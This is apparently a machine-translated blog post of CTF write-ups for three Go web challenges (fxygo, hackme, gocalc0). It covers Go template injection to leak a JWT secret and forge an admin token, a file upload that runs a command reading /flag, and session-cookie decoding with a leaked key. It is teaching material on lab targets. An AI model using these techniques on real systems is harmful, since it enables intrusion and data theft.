Error message here!

Hide Error message here!

忘记密码?

Error message here!

请输入正确邮箱

Hide Error message here!

密码丢失?请输入您的电子邮件地址。您将收到一个重设密码链接。

Error message here!

返回登录

Close

CTF go topic recurrence

Sentiment. 2022-06-23 23:29:39 阅读数:0 评论数:0 点赞数:0 收藏数:0

[2022DASCTF MAY challenge round ] fxygo

Together Go Template injection of

Pre knowledge

Because I didn't know Go Of SSTI So let's take a brief look at :

go A quick introduction to language :template Templates · Golang Language community · Look at the clouds (kancloud.cn)

Go SSTI On | tyskillのBlog

go Of SSTI The cause of vulnerability is related to template syntax and jinja2 almost , Are used to { {}}, adopt { {.}} We can get the scope

Demo

package main
import "html/template"
import "os"
func main() {

type person struct {

Id int
Name string
Country string
}
Sentiment := person{
Id: 1, Name: "Sentiment", Country: "China"}
tmpl := template.New("")
tmpl.Parse("Hello {
{.}}")
tmpl.Execute(os.Stdout, Sentiment)
}

When using { {.}} when , Will get person All attributes in the structure , So in passing Execute After rendering , It will output :

Hello {
1 Sentiment China}

In addition, if you want to get a single attribute, you can also use { {.Name}}

tmpl.Parse("Hello {
{.}}")
Change it to
tmpl.Parse("Hello {
{.Name}}")

result

Hello Sentiment

Reappear

There are mainly several routes

r.GET("/",index)
r.POST("/", rootHandler)
r.POST("/flag", flagHandler)
r.POST("/auth", authHandler)
r.POST("/register", Resist)

First look at /flag Of flagHandler

func flagHandler(c *gin.Context) {

token := c.GetHeader("X-Token")
if token != "" {

id, is_admin := jwt_decode(token)
if is_admin == true {

p := Resp{
true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {

}
c.JSON(200, string(res))
return
} else {

c.JSON(403, gin.H{

"code": 403,
"status": "error",
})
return
}
}
}

There is a passage in the middle :

id, is_admin := jwt_decode(token)
if is_admin == true {

Will enter for us token Value decryption , Then if one of them is_admin yes true Words , Will be output flag, So the question now is how to get token

stay authHandler() Found get token The way

func authHandler(c *gin.Context) {

uid := c.PostForm("id")
upw := c.PostForm("pw")
if uid == "" || upw == "" {

return
}
if len(acc) > 1024 {

clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {

token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {

return
}
p := TokenResp{
true, token}
res, err := json.Marshal(p)
if err != nil {

}
c.JSON(200, string(res))
return
}
c.JSON(403, gin.H{

"code": 403,
"status": "error",
})
return
}

When we pass on the ginseng id and pw when , It's coming to us id and is_admin Conduct jwt encryption , And return to token returns

But before that, we need to pay attention to , There is a period of judgment before the assignment , That is, customized through this topic get_account() Method to get the in the previous scope id and pw value , Compare with what we created , Only one can be assigned successfully

user_acc := get_account(uid)
user_acc.id != "" && user_acc.pw == upw {

The initial state is null , Therefore, you need to pass before obtaining Resist(), Perform assignment registration

 Insert picture description here

After successful registration , During a visit to auth route , Got it token

 Insert picture description here

obtain token after , There is another problem that needs to be solved , When we register , By default, the incoming is_admin yes false

new_acc := Account{
uid, upw, false, secret_key}

 Insert picture description here

So we need to find a way to secret_key, And then modify is_admin

stay rootHandler() Found the template rendering part , The first is acquisition token In the id value , Then it will render , Finally through tpl.Execute(c.Writer, &acc) Output

func rootHandler(c *gin.Context) {

token := c.GetHeader("X-Token")
if token != "" {

id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {

}
tpl.Execute(c.Writer, &acc)
return
} else {

return
}
}

So we first introduced id={ {.}}, After rendering in this place, it will output , All attribute values in this structure , Among them is key

type Account struct {

id string
pw string
is_admin bool
secret_key string
}

rootHandler() The route of is POST request /

 Insert picture description here

obtain key after , modify is_admin,/flag Route down parameters

 Insert picture description here

 Insert picture description here

This question follows [LineCTF2022]gotm equally ,80 You can play with the divided questions .

[2022DASCTF MAY challenge round ] hackme

upload There is a file upload entry under the path

 Insert picture description here

Upload users.go after , visit users, The uploaded go The document will be executed , So just upload a command go File can

Go Used in language os/exec Five positions for executing commands - You know (zhihu.com)

package main
import (
"bytes"
"fmt"
"log"
"os/exec"
)
func main() {

cmd := exec.Command("cat", "/flag")
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
outStr, errStr := string(stdout.Bytes()), string(stderr.Bytes())
fmt.Printf("out:\n%s\nerr:\n%s\n", outStr, errStr)
if err != nil {

log.Fatalf("cmd.Run() failed with %s\n", err)
}
}

 Insert picture description here

[VNCTF 2022] gocalc0

I don't know when the agent changes when I install the package , Never came down , If you can't do the same, you can set the agent first

go env -w GOPROXY=https://goproxy.cn

Then install the corresponding package

go get github.com/gin-contrib/sessions

Unanticipated

session two base64 Decrypt it

 Insert picture description here

expect

{ {.}} Access to the source code

package main
import (
_ "embed"
"fmt"
"os"
"reflect"
"strings"
"text/template"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"github.com/maja42/goval"
)
var tpl string
var source string
type Eval struct {

E string `json:"e" form:"e" binding:"required"`
}
func (e Eval) Result() (string, error) {

eval := goval.NewEvaluator()
result, err := eval.Evaluate(e.E, nil, nil)
if err != nil {

return "", err
}
t := reflect.ValueOf(result).Type().Kind()
if t == reflect.Int {

return fmt.Sprintf("%d", result.(int)), nil
} else if t == reflect.String {

return result.(string), nil
} else {

return "", fmt.Errorf("not valid type")
}
}
func (e Eval) String() string {

res, err := e.Result()
if err != nil {

fmt.Println(err)
res = "invalid"
}
return fmt.Sprintf("%s = %s", e.E, res)
}
func render(c *gin.Context) {

session := sessions.Default(c)
var his string
if session.Get("history") == nil {

his = ""
} else {

his = session.Get("history").(string)
}
fmt.Println(strings.ReplaceAll(tpl, "{
{result}}", his))
t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{
{result}}", his))
if err != nil {

fmt.Println(err)
c.String(500, "internal error")
return
}
if err := t.Execute(c.Writer, map[string]string{

"s0uR3e": source,
}); err != nil {

fmt.Println(err)
}
}
func main() {

port := os.Getenv("PORT")
if port == "" {

port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/", func(c *gin.Context) {

render(c)
})
r.GET("/flag", func(c *gin.Context) {

session := sessions.Default(c)
session.Set("FLAG", os.Getenv("FLAG"))
session.Save()
c.String(200, "flag is in your session")
})
r.POST("/", func(c *gin.Context) {

session := sessions.Default(c)
var his string
if session.Get("history") == nil {

his = ""
} else {

his = session.Get("history").(string)
}
eval := Eval{
}
if err := c.ShouldBind(&eval); err == nil {

his = his + eval.String() + "<br/>"
}
session.Set("history", his)
session.Save()
render(c)
})
r.Run(fmt.Sprintf(":%s", port))
}

stay flag The environment variables in the route flag Value set in cookie Of FLAG in , however cookie The content in cannot be directly obtained after encryption , Build the same environment locally , From the same cookie Get in the FLAG Corresponding value , Find a place to output

package main
import (
_ "embed"
"fmt"
"os"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {

port := os.Getenv("PORT")
if port == "" {

port = "8888"
}
r := gin.Default()
store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
r.Use(sessions.Sessions("session", store))
r.GET("/flag", func(c *gin.Context) {

session := sessions.Default(c)
c.String(200, session.Get("FLAG").(string))
})
r.Run(fmt.Sprintf(":%s", port))
}

 Insert picture description here

Copyright statement
In this paper,the author:[Sentiment.],Reprint please bring the original link, thank you